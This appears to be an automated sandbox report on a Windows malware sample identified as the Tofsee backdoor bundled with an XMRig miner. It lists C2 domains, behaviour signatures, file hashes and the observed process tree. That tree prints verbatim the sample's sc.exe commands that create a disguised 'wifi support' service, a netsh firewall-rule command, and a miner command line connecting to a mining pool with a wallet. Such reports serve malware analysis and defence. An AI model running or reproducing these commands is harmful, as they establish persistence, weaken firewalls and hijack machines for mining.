Analysis

  • max time kernel
    141s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    18/12/2022, 14:09

General

  • Target
    file.exe
  • Size 214KB
  • Sample221218-rf4vhscc64
  • SHA256 0d3142ce501b68a4e231c6a54159ec2cf08ffb6f6994a31ec21ef42c7e80065c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:840
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yythddlo\
      2⤵
        PID:992
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bhzotmd.exe" C:\Windows\SysWOW64\yythddlo\
        2⤵
          PID:848
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yythddlo binPath= "C:\Windows\SysWOW64\yythddlo\bhzotmd.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1172
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description yythddlo "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1184
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start yythddlo
          2⤵
          • Launches sc.exe
          PID:1448
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1544
      • C:\Windows\SysWOW64\yythddlo\bhzotmd.exe
        C:\Windows\SysWOW64\yythddlo\bhzotmd.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1724
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1552
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1068

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            bhzotmd.exe

            • Path C:\Users\Admin\AppData\Local\Temp\bhzotmd.exe
            • Size 12.2MB
            • SHA256 3c30586fdd448e4928daf3b77857699180cfed50ef14e2c8025d3b21ad9bc7a4
            • MD5 SHA1 SHA512 SSDEEP

            bhzotmd.exe

            • Path C:\Windows\SysWOW64\yythddlo\bhzotmd.exe
            • Size 12.2MB
            • SHA256 3c30586fdd448e4928daf3b77857699180cfed50ef14e2c8025d3b21ad9bc7a4
            • MD5 SHA1 SHA512 SSDEEP

            memory/840-55-0x0000000074FA1000-0x0000000074FA3000-memory.dmp

            memory/840-59-0x0000000000400000-0x000000000045F000-memory.dmp

            memory/840-58-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/840-57-0x0000000000618000-0x0000000000629000-memory.dmp

            memory/840-54-0x0000000000618000-0x0000000000629000-memory.dmp

            memory/840-69-0x0000000000400000-0x000000000045F000-memory.dmp

            memory/840-68-0x0000000000618000-0x0000000000629000-memory.dmp

            memory/1068-101-0x00000000000C0000-0x00000000001B1000-memory.dmp

            memory/1068-103-0x00000000000C0000-0x00000000001B1000-memory.dmp

            memory/1552-74-0x0000000000110000-0x0000000000125000-memory.dmp

            memory/1552-91-0x0000000000250000-0x0000000000255000-memory.dmp

            memory/1552-72-0x0000000000110000-0x0000000000125000-memory.dmp

            memory/1552-81-0x0000000000110000-0x0000000000125000-memory.dmp

            memory/1552-82-0x0000000001930000-0x0000000001B3F000-memory.dmp

            memory/1552-85-0x00000000000C0000-0x00000000000C6000-memory.dmp

            memory/1552-88-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/1552-94-0x0000000005850000-0x0000000005C5B000-memory.dmp

            memory/1552-97-0x0000000000260000-0x0000000000267000-memory.dmp

            memory/1552-100-0x0000000000110000-0x0000000000125000-memory.dmp

            memory/1724-77-0x0000000000308000-0x0000000000319000-memory.dmp

            memory/1724-79-0x0000000000400000-0x000000000045F000-memory.dmp

            memory/1724-66-0x0000000000308000-0x0000000000319000-memory.dmp